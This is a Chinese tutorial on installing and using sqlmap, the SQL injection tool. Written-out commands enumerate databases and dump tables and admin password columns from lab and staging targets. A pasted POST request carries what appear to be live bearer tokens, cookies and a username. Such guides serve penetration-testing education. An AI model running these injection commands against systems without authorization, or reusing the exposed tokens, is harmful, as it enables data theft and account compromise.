sqlmap

简介: sqlmap

一.介绍

1.什么是 sqlmap

sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。

2.sqlmap 的功能

SQLmap 支持多种数据库管理系统,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap 被广泛应用于渗透测试、安全研究、教育等领域。

SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。

为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。

二.安装 sqlmap

1.创建目录

cd /usr/bin

mkdir sqlmap-dev

2.拉取代码

git clone https://github.com/sqlmapproject/sqlmap.git

3.配置

vim ~/.bash_profile

source ~/.bash_profile

alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py'

4.验证安装

sqlmap #查看版本

salmap -v  #查看版本

三.使用

1.参数说明

-u  指定URL

-p  指定参数

-v  指定显示级别

--dbs  目标服务器中的数据库

--current-db  当前数据库

--tables  目标数据库有什么表

--columns  目标表中有什么列

--dump  获取数据

--batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值

--dbms  指定数据库类型

--current-user  查看当前用户

--users  查看所有用户

--passwords  数据库密码

--hostname  系统名称

--banner  数据库信息

--roles  数据库用户角色

level 和 risk

在 SQLmap 中,levelrisk是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。 level选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。默认值为 1,表示最浅层的检测。 risk选项用于指定检测和利用的风险程度,取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。 在使用 SQLmap 时,根据实际情况选择合适的levelrisk选项,可以提高检测和利用的效率和成功率,同时避免对目标系统造成过多的影响和损害。

需要注意的是,levelrisk选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。

Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,HTTP cookie在 level 为 2 时就会测试,HTTP User-Agent/Referer头在 level 为 3 时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5

sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级

如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3

2.get 方法

1.判断是否有注入点

sqlmap -u "目标url"

2.查看数据库

sqlmap -u "目标_url" --dbs --dbms mysql


--dbms=DBMS #指定目标数据库类型

3.当前数据库

sqlmap -u "目标_url" --current-db --dbms mysql

4.字段获取

sqlmap -u "目标url" -D 库名 -T 表名 --columns

5.指定字段内容

sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump

    -C COL 指定从某个列查询数据

   --dump 查询指定范围的全部数据

       (对加密的密码进行彩虹表攻击)

6.样例

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch

3.post 方式

1.保存参数

post.txt

POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1

Host: xxx-uat.net.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

brandDetailNo: BS01

application: command

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM

uid: rongdi

Content-Type: application/json;charset=utf-8

silent: true

Content-Length: 310

Origin: https://xxx-uat.net.cn

Connection: close

Referer: https://xxx-uat.net.cn/test/command/bs01/

Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefined

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin


{"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}

2.执行

sqlmap -r /Users/qinyingjie/Downloads/post2.txt -p "categoryname1" --level 5 --risk 3 --batch

3.查询结果

四.常用

1.查询库名

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs

2.查询表

-D 指定库名

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables

3.查询列

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns

4.查询列值

吃牢饭指令

python sqlmap.py -u"http://rhiq8003.ia.aqlab.cn/?id=1"-D maoshe -T admin -C password --dump


相关文章
|
7月前
|
SQL 安全 关系型数据库
Sqlmap2021 -- Referer注入
Sqlmap2021 -- Referer注入
153 1
|
SQL 测试技术 网络安全
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
1566 0
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
|
2月前
|
SQL 关系型数据库 MySQL
|
2月前
|
SQL 关系型数据库 MySQL
sqlmap进阶使用
sqlmap进阶使用
|
5月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试
|
7月前
|
SQL Shell 数据库
21、sqlmap参数详解
21、sqlmap参数详解
77 0
|
7月前
|
数据库
Sqlmap是如何GET注入的
Sqlmap是如何GET注入的
58 0
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
381 0
|
SQL Oracle 关系型数据库
sqlmap的使用
sqlmap的使用
164 0
|
SQL Shell 数据库